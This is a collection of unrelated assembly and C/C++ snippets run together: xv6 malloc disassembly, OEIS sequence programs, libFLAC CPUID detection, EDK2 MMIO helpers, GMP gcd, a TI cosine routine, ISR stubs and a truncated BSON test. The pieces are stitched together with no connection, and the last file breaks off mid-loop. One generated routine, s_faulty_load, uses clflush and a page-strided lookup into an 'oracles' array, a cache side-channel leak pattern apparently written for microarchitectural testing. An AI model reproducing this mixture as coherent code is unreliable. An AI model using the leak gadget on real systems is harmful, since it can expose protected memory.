6b8: 31 c0 xor %eax,%eax
6ba: eb 1c jmp 6d8 <malloc+0xb8>
6bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
6c0: 39 cf cmp %ecx,%edi
6c2: 74 1c je 6e0 <malloc+0xc0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
6c4: 29 f9 sub %edi,%ecx
6c6: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
6c9: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
6cc: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
6cf: 89 15 d0 09 00 00 mov %edx,0x9d0
return (void*)(p + 1);
6d5: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
6d8: 8d 65 f4 lea -0xc(%ebp),%esp
6db: 5b pop %ebx
6dc: 5e pop %esi
6dd: 5f pop %edi
6de: 5d pop %ebp
6df: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
6e0: 8b 08 mov (%eax),%ecx
6e2: 89 0a mov %ecx,(%edx)
6e4: eb e9 jmp 6cf <malloc+0xaf>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
6e6: c7 05 d0 09 00 00 d4 movl $0x9d4,0x9d0
6ed: 09 00 00
6f0: c7 05 d4 09 00 00 d4 movl $0x9d4,0x9d4
6f7: 09 00 00
base.s.size = 0;
6fa: b8 d4 09 00 00 mov $0x9d4,%eax
6ff: c7 05 d8 09 00 00 00 movl $0x0,0x9d8
706: 00 00 00
709: e9 3e ff ff ff jmp 64c <malloc+0x2c>
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r15
push %rax
push %rbx
push %rdx
lea addresses_A_ht+0x1563b, %r14
nop
nop
add %rdx, %rdx
mov $0x6162636465666768, %rax
movq %rax, %xmm4
vmovups %ymm4, (%r14)
nop
nop
nop
dec %rbx
lea addresses_WC_ht+0x1463b, %r12
clflush (%r12)
nop
nop
nop
nop
sub $33080, %r11
mov (%r12), %r15d
nop
nop
nop
cmp $3525, %rbx
lea addresses_normal_ht+0x803b, %r15
cmp $53041, %rdx
movb $0x61, (%r15)
nop
nop
nop
nop
nop
and $16981, %r14
pop %rdx
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r8
push %r9
push %rax
push %rcx
// Faulty Load
lea addresses_US+0x1663b, %rcx
nop
and %r8, %r8
mov (%rcx), %r9d
lea oracles, %r13
and $0xff, %r9
shlq $12, %r9
mov (%r13,%r9,1), %r9
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'00': 18}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A091818: Sum of even proper divisors of 2n. Sum of the even divisors of 2n that are less than 2n.
; 0,2,2,6,2,12,2,14,8,16,2,32,2,20,18,30,2,42,2,44,22,28,2,72,12,32,26,56,2,84,2,62,30,40,26,110,2,44,34,100,2,108,2,80,66,52,2,152,16,86,42,92,2,132,34,128,46,64,2,216,2,68,82,126,38,156,2,116,54,148,2,246,2,80,98,128,38,180,2,212,80,88,2,280,46,92,66,184,2,288,42,152,70,100,50,312,2,146,114,234
mov $2,$0
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
sub $0,$2
sub $0,1
mul $0,2
|
copyright zengfr site:http://github.com/zengfr/romhack
006728 tst.b ($c1,A6)
00672C bne $6900 [123p+ C1]
006874 move.b #$1, ($c1,A6) [123p+ 0]
00687A move.l #$200001a, ($4,A6) [123p+ C1]
0068D2 move.b #$1, ($c1,A0) [123p+ C8]
0068D8 move.b #$e, ($2e,A0) [123p+ C1]
01914C move.b D0, ($c1,A6)
019150 move.b #$0, ($c8,A6)
01A924 tst.b ($c1,A6)
01A928 beq $1a934
copyright zengfr site:http://github.com/zengfr/romhack
|
; vim:filetype=nasm ts=8
; libFLAC - Free Lossless Audio Codec library
; Copyright (C) 2001-2009 Josh Coalson
; Copyright (C) 2011-2014 Xiph.Org Foundation
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
;
; - Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
;
; - Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; - Neither the name of the Xiph.org Foundation nor the names of its
; contributors may be used to endorse or promote products derived from
; this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR
; CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
; EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
; PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
; PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
; LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
; NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
%include "nasm.h"
data_section
cglobal FLAC__cpu_have_cpuid_asm_ia32
cglobal FLAC__cpu_info_asm_ia32
code_section
; **********************************************************************
;
; FLAC__uint32 FLAC__cpu_have_cpuid_asm_ia32()
;
cident FLAC__cpu_have_cpuid_asm_ia32
pushfd
pop eax
mov edx, eax
xor eax, 0x00200000
push eax
popfd
pushfd
pop eax
xor eax, edx
and eax, 0x00200000
shr eax, 0x15
push edx
popfd
ret
; **********************************************************************
;
; void FLAC__cpu_info_asm_ia32(FLAC__uint32 *flags_edx, FLAC__uint32 *flags_ecx)
;
cident FLAC__cpu_info_asm_ia32
;[esp + 8] == flags_edx
;[esp + 12] == flags_ecx
push ebx
call FLAC__cpu_have_cpuid_asm_ia32
test eax, eax
jz .no_cpuid
mov eax, 0
cpuid
cmp eax, 1
jb .no_cpuid
mov eax, 1
cpuid
mov ebx, [esp + 8]
mov [ebx], edx
mov ebx, [esp + 12]
mov [ebx], ecx
jmp .end
.no_cpuid:
xor eax, eax
mov ebx, [esp + 8]
mov [ebx], eax
mov ebx, [esp + 12]
mov [ebx], eax
.end:
pop ebx
ret
; end
|
;
; Copyright (c) 2014-2018, Linaro Limited. All rights reserved.
;
; This program and the accompanying materials are licensed and made available
; under the terms and conditions of the BSD License which accompanies this
; distribution. The full text of the license may be found at
; http:;opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
AREA IoLibMmio, CODE, READONLY
EXPORT MmioRead8Internal
EXPORT MmioWrite8Internal
EXPORT MmioRead16Internal
EXPORT MmioWrite16Internal
EXPORT MmioRead32Internal
EXPORT MmioWrite32Internal
EXPORT MmioRead64Internal
EXPORT MmioWrite64Internal
;
; Reads an 8-bit MMIO register.
;
; Reads the 8-bit MMIO register specified by Address. The 8-bit read value is
; returned. This function must guarantee that all MMIO read and write
; operations are serialized.
;
; @param Address The MMIO register to read.
;
; @return The value read.
;
MmioRead8Internal
ldrb r0, [r0]
dmb
bx lr
;
; Writes an 8-bit MMIO register.
;
; Writes the 8-bit MMIO register specified by Address with the value specified
; by Value and returns Value. This function must guarantee that all MMIO read
; and write operations are serialized.
;
; @param Address The MMIO register to write.
; @param Value The value to write to the MMIO register.
;
MmioWrite8Internal
dmb st
strb r1, [r0]
bx lr
;
; Reads a 16-bit MMIO register.
;
; Reads the 16-bit MMIO register specified by Address. The 16-bit read value is
; returned. This function must guarantee that all MMIO read and write
; operations are serialized.
;
; @param Address The MMIO register to read.
;
; @return The value read.
;
MmioRead16Internal
ldrh r0, [r0]
dmb
bx lr
;
; Writes a 16-bit MMIO register.
;
; Writes the 16-bit MMIO register specified by Address with the value specified
; by Value and returns Value. This function must guarantee that all MMIO read
; and write operations are serialized.
;
; @param Address The MMIO register to write.
; @param Value The value to write to the MMIO register.
;
MmioWrite16Internal
dmb st
strh r1, [r0]
bx lr
;
; Reads a 32-bit MMIO register.
;
; Reads the 32-bit MMIO register specified by Address. The 32-bit read value is
; returned. This function must guarantee that all MMIO read and write
; operations are serialized.
;
; @param Address The MMIO register to read.
;
; @return The value read.
;
MmioRead32Internal
ldr r0, [r0]
dmb
bx lr
;
; Writes a 32-bit MMIO register.
;
; Writes the 32-bit MMIO register specified by Address with the value specified
; by Value and returns Value. This function must guarantee that all MMIO read
; and write operations are serialized.
;
; @param Address The MMIO register to write.
; @param Value The value to write to the MMIO register.
;
MmioWrite32Internal
dmb st
str r1, [r0]
bx lr
;
; Reads a 64-bit MMIO register.
;
; Reads the 64-bit MMIO register specified by Address. The 64-bit read value is
; returned. This function must guarantee that all MMIO read and write
; operations are serialized.
;
; @param Address The MMIO register to read.
;
; @return The value read.
;
MmioRead64Internal
ldrd r0, r1, [r0]
dmb
bx lr
;
; Writes a 64-bit MMIO register.
;
; Writes the 64-bit MMIO register specified by Address with the value specified
; by Value and returns Value. This function must guarantee that all MMIO read
; and write operations are serialized.
;
; @param Address The MMIO register to write.
; @param Value The value to write to the MMIO register.
;
MmioWrite64Internal
dmb st
strd r2, r3, [r0]
bx lr
END
|
dnl AMD K6 mpn_gcd_1 -- mpn by 1 gcd.
dnl Copyright 2000-2002, 2004 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C K6: 9.5 cycles/bit (approx) 1x1 gcd
C 11.0 cycles/limb Nx1 reduction (modexact_1_odd)
C mp_limb_t mpn_gcd_1 (mp_srcptr src, mp_size_t size, mp_limb_t y);
C
C This code is nothing very special, but offers a speedup over what gcc 2.95
C can do with mpn/generic/gcd_1.c.
C
C Future:
C
C Using a lookup table to count trailing zeros seems a touch quicker, but
C after a slightly longer startup. Might be worthwhile if an mpn_gcd_2 used
C it too.
dnl If size==1 and x (the larger operand) is more than DIV_THRESHOLD bits
dnl bigger than y, then a division x%y is done to reduce it.
dnl
dnl A divl is 20 cycles and the loop runs at about 9.5 cycles/bitpair so
dnl there should be an advantage in the divl at about 4 or 5 bits, which is
dnl what's found.
deflit(DIV_THRESHOLD, 5)
defframe(PARAM_LIMB, 12)
defframe(PARAM_SIZE, 8)
defframe(PARAM_SRC, 4)
TEXT
ALIGN(16)
PROLOGUE(mpn_gcd_1)
deflit(`FRAME',0)
ASSERT(ne, `cmpl $0, PARAM_LIMB')
ASSERT(ae, `cmpl $1, PARAM_SIZE')
movl PARAM_SRC, %eax
pushl %ebx FRAME_pushl()
movl PARAM_LIMB, %edx
movl $-1, %ecx
movl (%eax), %ebx C src low limb
movl %ebx, %eax C src low limb
orl %edx, %ebx
L(common_twos):
shrl %ebx
incl %ecx
jnc L(common_twos) C 1/4 chance on random data
shrl %cl, %edx C y
cmpl $1, PARAM_SIZE
ja L(size_two_or_more)
ASSERT(nz, `orl %eax, %eax') C should have src limb != 0
shrl %cl, %eax C x
C Swap if necessary to make x>=y. Measures a touch quicker as a
C jump than a branch free calculation.
C
C eax x
C ebx
C ecx common twos
C edx y
movl %eax, %ebx
cmpl %eax, %edx
jb L(noswap)
movl %edx, %eax
movl %ebx, %edx
movl %eax, %ebx
L(noswap):
C See if it's worth reducing x with a divl.
C
C eax x
C ebx x
C ecx common twos
C edx y
shrl $DIV_THRESHOLD, %ebx
cmpl %ebx, %edx
ja L(nodiv)
C Reduce x to x%y.
C
C eax x
C ebx
C ecx common twos
C edx y
movl %edx, %ebx
xorl %edx, %edx
divl %ebx
orl %edx, %edx C y
nop C code alignment
movl %ebx, %eax C x
jz L(done_shll)
L(nodiv):
C eax x
C ebx
C ecx common twos
C edx y
C esi
C edi
C ebp
L(strip_y):
shrl %edx
jnc L(strip_y)
leal 1(%edx,%edx), %edx
movl %ecx, %ebx C common twos
leal 1(%eax), %ecx
jmp L(strip_x_and)
C Calculating a %cl shift based on the low bit 0 or 1 avoids doing a branch
C on a 50/50 chance of 0 or 1. The chance of the next bit also being 0 is
C only 1/4.
C
C A second computed %cl shift was tried, but that measured a touch slower
C than branching back.
C
C A branch-free abs(x-y) and min(x,y) calculation was tried, but that
C measured about 1 cycle/bit slower.
C eax x
C ebx common twos
C ecx scratch
C edx y
ALIGN(4)
L(swap):
addl %eax, %edx C x-y+y = x
negl %eax C -(x-y) = y-x
L(strip_x):
shrl %eax C odd-odd = even, so always one to strip
ASSERT(nz)
L(strip_x_leal):
leal 1(%eax), %ecx
L(strip_x_and):
andl $1, %ecx C (x^1)&1
shrl %cl, %eax C shift if x even
testb $1, %al
jz L(strip_x)
ASSERT(nz,`testl $1, %eax') C x, y odd
ASSERT(nz,`testl $1, %edx')
subl %edx, %eax
jb L(swap)
ja L(strip_x)
movl %edx, %eax
movl %ebx, %ecx
L(done_shll):
shll %cl, %eax
popl %ebx
ret
C -----------------------------------------------------------------------------
C Two or more limbs.
C
C x={src,size} is reduced modulo y using either a plain mod_1 style
C remainder, or a modexact_1 style exact division.
deflit(MODEXACT_THRESHOLD, ifdef(`PIC', 4, 4))
ALIGN(8)
L(size_two_or_more):
C eax
C ebx
C ecx common twos
C edx y, without common twos
C esi
C edi
C ebp
deflit(FRAME_TWO_OR_MORE, FRAME)
pushl %edi defframe_pushl(SAVE_EDI)
movl PARAM_SRC, %ebx
L(y_twos):
shrl %edx
jnc L(y_twos)
movl %ecx, %edi C common twos
movl PARAM_SIZE, %ecx
pushl %esi defframe_pushl(SAVE_ESI)
leal 1(%edx,%edx), %esi C y (odd)
movl -4(%ebx,%ecx,4), %eax C src high limb
cmpl %edx, %eax C carry if high<divisor
sbbl %edx, %edx C -1 if high<divisor
addl %edx, %ecx C skip one limb if high<divisor
andl %eax, %edx
cmpl $MODEXACT_THRESHOLD, %ecx
jae L(modexact)
L(divide_top):
C eax scratch (quotient)
C ebx src
C ecx counter, size-1 to 1
C edx carry (remainder)
C esi divisor (odd)
C edi
C ebp
movl -4(%ebx,%ecx,4), %eax
divl %esi
loop L(divide_top)
movl %edx, %eax C x
movl %esi, %edx C y (odd)
movl %edi, %ebx C common twos
popl %esi
popl %edi
leal 1(%eax), %ecx
orl %eax, %eax
jnz L(strip_x_and)
movl %ebx, %ecx
movl %edx, %eax
shll %cl, %eax
popl %ebx
ret
ALIGN(8)
L(modexact):
C eax
C ebx src ptr
C ecx size or size-1
C edx
C esi y odd
C edi common twos
C ebp
movl PARAM_SIZE, %eax
pushl %esi FRAME_pushl()
pushl %eax FRAME_pushl()
pushl %ebx FRAME_pushl()
ifdef(`PIC',`
nop C code alignment
call L(movl_eip_ebx)
L(here):
addl $_GLOBAL_OFFSET_TABLE_, %ebx
call GSYM_PREFIX`'mpn_modexact_1_odd@PLT
',`
call GSYM_PREFIX`'mpn_modexact_1_odd
')
movl %esi, %edx C y odd
movl SAVE_ESI, %esi
movl %edi, %ebx C common twos
movl SAVE_EDI, %edi
addl $eval(FRAME - FRAME_TWO_OR_MORE), %esp
orl %eax, %eax
leal 1(%eax), %ecx
jnz L(strip_x_and)
movl %ebx, %ecx
movl %edx, %eax
shll %cl, %eax
popl %ebx
ret
ifdef(`PIC',`
L(movl_eip_ebx):
movl (%esp), %ebx
ret_internal
')
EPILOGUE()
|
; A272007: Number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 413", based on the 5-celled von Neumann neighborhood.
; 1,8,5,48,5,120,5,224,5,360,5,528,5,728,5,960,5,1224,5,1520,5,1848,5,2208,5,2600,5,3024,5,3480,5,3968,5,4488,5,5040,5,5624,5,6240,5,6888,5,7568,5,8280,5,9024,5,9800,5,10608,5,11448,5,12320,5,13224,5,14160,5,15128,5,16128,5,17160,5,18224,5,19320,5,20448,5,21608,5,22800,5,24024,5,25280,5,26568,5,27888,5,29240,5,30624,5,32040,5,33488,5,34968,5,36480,5,38024,5,39600,5,41208,5,42848,5,44520,5,46224,5,47960,5,49728,5,51528,5,53360,5,55224,5,57120,5,59048,5,61008,5,63000,5,65024,5
mov $1,$0
mov $2,$0
sub $0,1
mod $0,2
add $1,$2
mov $3,2
mov $4,2
mul $4,$1
lpb $0,1
sub $0,1
mov $1,4
mov $2,1
mov $3,1
sub $4,$4
lpe
mov $0,$4
add $0,1
pow $1,$3
trn $2,$4
add $1,$2
add $1,$0
trn $1,2
add $1,1
|
;******************************************************************************
; FILE: CLAcos.asm
;
; DESCRIPTION: CLA cosine function
;
;******************************************************************************
; $TI Release: CLA Math Library for CLA C Compiler V4.00.01.00 $
; $Release Date: Apr 23, 2014 $
;******************************************************************************
; This software is licensed for use with Texas Instruments C28x
; family DSCs. This license was provided to you prior to installing
; the software. You may review this license by consulting a copy of
; the agreement in the doc directory of this library.
; ------------------------------------------------------------------------
; Copyright (C) 2014 Texas Instruments, Incorporated.
; All Rights Reserved.
;******************************************************************************
.cdecls C,LIST,"CLAmath.h"
;;----------------------------------------------------------------------------
;; Description: Implement cosine using taylor series expansion:
;;
;; rad = K + X
;;
;; Cos(rad) = Cos(K) - Sin(K)*X
;; - Cos(K)*X^2/2!
;; + Sin(K)*X^3/3!
;; + Cos(K)*X^4/4!
;; - Sin(K)*X^5/5!
;;
;; = Cos(K) + X*(-1.0*Sin(K)
;; + X*(-0.5*Cos(K)
;; + X*(0.166666*Sin(K)
;; + X*(0.04166666*Cos(K)
;; + X*(-0.00833333*Sin(K))))))
;;
;; = Cos(K) + X*(-Sin(K)
;; + X*(Coef0*Cos(K)
;; + X*(Coef1_pos*Sin(K)
;; + X*(Coef2*Cos(K)
;; + X*(Coef3_neg*Sin(K))))))
;;
;;
;; Equation: y = Cos(rad)
;;
;; Regs Used: MR0, MR1, MR2
;;
;; Input: rad f32 value in memory
;;
;; // TABLE_SIZE = 128
;; CLAsincosTable.Sin0 = 0.0; // sin( 0 * 2*pi/TABLE_SIZE)
;; CLAsincosTable.Sin1 = 0.04906767432742; // sin( 1 * 2*pi/TABLE_SIZE)
;; ...
;; CLAsincosTable.Sin31 = 0.9987954562052; // sin( 31 * 2*pi/TABLE_SIZE)
;; CLAsincosTable.Cos0 = 1.0; // sin( 32 * 2*pi/TABLE_SIZE)
;; CLAsincosTable.Sin33 = 0.9987954562052; // sin( 33 * 2*pi/TABLE_SIZE)
;; ...
;; CLAsincosTable.Sin63 = 0.04906767432742; // sin( 63 * 2*pi/TABLE_SIZE)
;; CLAsincosTable.Sin64 = 0.0; // sin( 64 * 2*pi/TABLE_SIZE)
;; CLAsincosTable.Sin65 = -0.04906767432742; // sin( 65 * 2*pi/TABLE_SIZE)
;; ...
;; CLAsincosTable.Sin95 = -0.9987954562052; // sin( 95 * 2*pi/TABLE_SIZE)
;; CLAsincosTable.Sin96 = -1.0; // sin( 96 * 2*pi/TABLE_SIZE)
;; CLAsincosTable.Sin97 = -0.9987954562052; // sin( 97 * 2*pi/TABLE_SIZE)
;; ...
;; CLAsincosTable.Sin127 = -0.04906767432742; // sin(127 * 2*pi/TABLE_SIZE)
;; CLAsincosTable.Cos96 = 0.0; // sin( 0 * 2*pi/TABLE_SIZE)
;; CLAsincosTable.Cos97 = 0.04906767432742; // sin( 1 * 2*pi/TABLE_SIZE)
;; ...
;; CLAsincosTable.Cos127 = 0.9987954562052; // sin( 31 * 2*pi/TABLE_SIZE)
;; CLAsincosTable.Cos128 = 1.0; // sin( 32 * 2*pi/TABLE_SIZE)
;;
;; // TABLE_SIZE/Pi
;; // 2*Pi/TABLE_SIZE
;; // TABLE_MASK = (TABLE_SIZE*2 - 1) & 0xFFFFFFFE;;
;;
;; CLAsincosTable.TABLE_SIZEDivPi = 40.74366543152;
;; CLAsincosTable.TwoPiDivTABLE_SIZE = 0.04908738521234;
;; CLAsincosTable.TABLE_MASK = 0x000000FE;
;; CLAsincosTable.Coef0 = -0.5;
;; CLAsincosTable.Coef1 = -0.1666666666666;
;; CLAsincosTable.Coef1_pos = 0.1666666666666;
;; CLAsincosTable.Coef2 = 4.1666666666666e-2;
;; CLAsincosTable.Coef3 = 8.3333333333333e-3;
;; CLAsincosTable.Coef3_neg = -8.3333333333333e-3;
;;
;; Output: y f32 value in memory
;; MR0 = y f32 result
;;
;; Benchmark: Cycles = 31
;; Instructions = 31
;;----------------------------------------------------------------------------
.sect "Cla1Prog2"
.def _CLAcos
_save_MR3 .usect ".scratchpad",2
_CLAcos:
; Context Save
MMOV32 @_save_MR3, MR3
; MR0 = rad(fAngleRad)
; MR1 = TABLE_SIZE/(2*Pi)
; MR1 = rad*TABLE_SIZE/(2*Pi)
; MR2 = TABLE_MASK
MMOV32 MR1,@_CLAsincosTable_TABLE_SIZEDivTwoPi
MMPYF32 MR1,MR0,MR1
|| MMOV32 MR2,@_CLAsincosTable_TABLE_MASK
; MR3 = K = integer(rad*TABLE_SIZE/(2*Pi))
; MR3 = K & TABLE_MASK
; MR3 = K * 2
; MAR0 = address of Sin(K)
; MR1 = frac(TABLE_SIZE*rad/2*Pi)
; MR0 = 2*Pi/TABLE_SIZE
; MR1 = X = frac(TABLE_SIZE*rad/2*Pi) * (2*Pi/TABLE_SIZE)
; MR0 = Coef3_neg
MF32TOI32 MR3,MR1
MAND32 MR3,MR3,MR2
MLSL32 MR3,#1
MMOV16 MAR0,MR3,#_CLAsincosTable_Sin0
MFRACF32 MR1,MR1
MMOV32 MR0,@_CLAsincosTable_TwoPiDivTABLE_SIZE
MMPYF32 MR1,MR1,MR0
|| MMOV32 MR0,@_CLAsincosTable_Coef3_neg
; MR2 = Sin(K)
; MR3 = Coef3_neg*Sin(K)
; MR2 = Cos(K)
; MR3 = X*Coef3_neg*Sin(K)
MMOV32 MR2,*MAR0[#+64]++
MMPYF32 MR3,MR0,MR2
|| MMOV32 MR2,*MAR0[#-64]++
MMPYF32 MR3,MR3,MR1
|| MMOV32 MR0,@_CLAsincosTable_Coef2
; MR2 = Coef2*Cos(K)
; MR3 = Coef2*Cos(K) + X*Coef3_neg*Sin(K)
; MR2 = Sin(K)
; MR3 = X*Coef2*Cos(K) + X^2*Coef3_neg*Sin(K)
MMPYF32 MR2,MR0,MR2
MADDF32 MR3,MR3,MR2
|| MMOV32 MR2,*MAR0[#+64]++
MMPYF32 MR3,MR3,MR1
|| MMOV32 MR0,@_CLAsincosTable_Coef1_pos
; MR2 = Coef1_pos*Sin(K)
; MR3 = Coef1_pos*Sin(K) + X*Coef2*Cos(K) + X^2*Coef3_neg*Sin(K)
; MR2 = Cos(K)
; MR3 = X*Coef1_pos*Sin(K) + X^2*Coef2*Cos(K) + X^3*Coef3_neg*Sin(K)
MMPYF32 MR2,MR0,MR2
MADDF32 MR3,MR3,MR2
|| MMOV32 MR2,*MAR0[#-64]++
MMPYF32 MR3,MR3,MR1
|| MMOV32 MR0,@_CLAsincosTable_Coef0
; MR2 = Coef0*Cos(K)
; MR3 = Coef0*Cos(K) + X*Coef1_pos*Sin(K) + X^2*Coef2*Cos(K)
; + X^3*Coef3_neg*Sin(K)
;
; MR2 = Sin(K)
; MR3 = X*Coef0*Cos(K) + X^2*Coef1_pos*Sin(K)
; + X^3*Coef2*Cos(K) + X^4*Coef3_neg*Sin(K)
MMPYF32 MR2,MR0,MR2
MADDF32 MR3,MR3,MR2
|| MMOV32 MR2,*MAR0[#+64]++
MMPYF32 MR3,MR3,MR1
; MR3 = -Sin(K) + X^1*Coef0*Cos(K) + X^2*Coef1_pos*Sin(K)
; + X^3*Coef2*Cos(K) + X^4*Coef3_neg*Sin(K)
;
; MR3 = -X*Sin(K) + X^2*Coef0*Cos(K) + X^3*Coef1_pos*Sin(K)
; + X^4*Coef2*Cos(K) + X^5*Coef3_neg*Sin(K)
;
; MR2 = Cos(K)
MSUBF32 MR3,MR3,MR2
MMPYF32 MR3,MR3,MR1
|| MMOV32 MR2,*MAR0[#0]++
; MR3 = Cos(K) - X*Sin(K) + X^2*Coef0*Cos(K) + X^3*Coef1_pos*Sin(K)
; + X^4*Coef2*Cos(K) + X^5*Coef3_neg*Sin(K)
; Store Y = Cos(rad)
MADDF32 MR3,MR2,MR3
MMOV32 MR0,MR3
; Context Restore
MMOV32 MR3,@_save_MR3
MRCNDD UNC
MNOP
MNOP
MNOP
|
;FLAG_INTERRUPT equ 0x0e
;FLAG_R0 equ 0<<5 ; RINGS 0-3
;FLAG_P equ 1<<7
;VIRT_BASE equ 0
;CODE_SEL_64 equ 1
%if 0
extern putc64
extern puts64
extern newline64
extern space64
extern hexbyte64
extern hexword64
extern hexbytes64
extern hexwords64
extern hexlongs64
extern hexquads64
extern hexbyten64
extern hexwordn64
extern hexlongn64
extern hexquadn64
extern hexdump64
extern stackdump64
%endif
IDT_ENTRIES equ 256
section .text
extern isr_common
%macro bochs 0
xchg bx, bx
%endm
%macro ISR 1
global xisr%1
xisr%1:
cli
push rax
mov rax, %1
jmp isr_common
global isr%1
isr%1: dq xisr%1
%endmacro
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; the %rep here generates 256 handlers inline!
ISRS:
%assign i 0
%rep IDT_ENTRIES
ISR i
%assign i (i+1)
%endrep
|
BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; MOV8rr
mov ch, 0x2
mov dh, 0x3
;TEST_BEGIN_RECORDING
mov ch, dh
;TEST_END_RECORDING
|
// Copyright 2016 Daniel Parker
// Distributed under Boost license
#include <jsoncons/json.hpp>
#include <jsoncons_ext/bson/bson.hpp>
#include <sstream>
#include <vector>
#include <utility>
#include <ctime>
#include <fstream>
#include <catch/catch.hpp>
using namespace jsoncons;
namespace
{
std::vector<char> read_bytes(const std::string& filename)
{
std::vector<char> bytes;
std::ifstream is(filename, std::ifstream::binary);
REQUIRE(is);
is.seekg (0, is.end);
std::streamoff length = is.tellg();
is.seekg (0, is.beg);
bytes.resize(length);
is.read(bytes.data(), length);
is.close();
return bytes;
}
}
// From https://github.com/mongodb/libbson/tree/master/tests
TEST_CASE("bson c test suite")
{
SECTION("int32")
{
std::string in_file = "./bson/input/test33.bson";
std::vector<char> bytes = read_bytes(in_file);
std::vector<char> bytes2;
ojson j(json_object_arg);
j.try_emplace("a", -123);
j.try_emplace("c", 0);
j.try_emplace("b", 123);
REQUIRE_NOTHROW(bson::encode_bson(j, bytes2));
CHECK(bytes2 == bytes);
auto j2 = bson::decode_bson<ojson>(bytes);
CHECK(j2 == j);
}
SECTION("int64")
{
std::string in_file = "./bson/input/test34.bson";
std::vector<char> bytes = read_bytes(in_file);
bytes_source source(bytes);
uint8_t buf[sizeof(int64_t)];
source.read(buf, sizeof(int32_t));
auto doc_size = jsoncons::detail::little_to_native<int32_t>(buf, sizeof(buf));
REQUIRE(doc_size == 16);
auto result = source.get_character();
REQUIRE(result);
REQUIRE(result.value() == 0x12); // 64-bit integer
std::string s;
for (result = source.get_character();
result && result.value() != 0; result = source.get_character())
{
s.push_back(result.value());
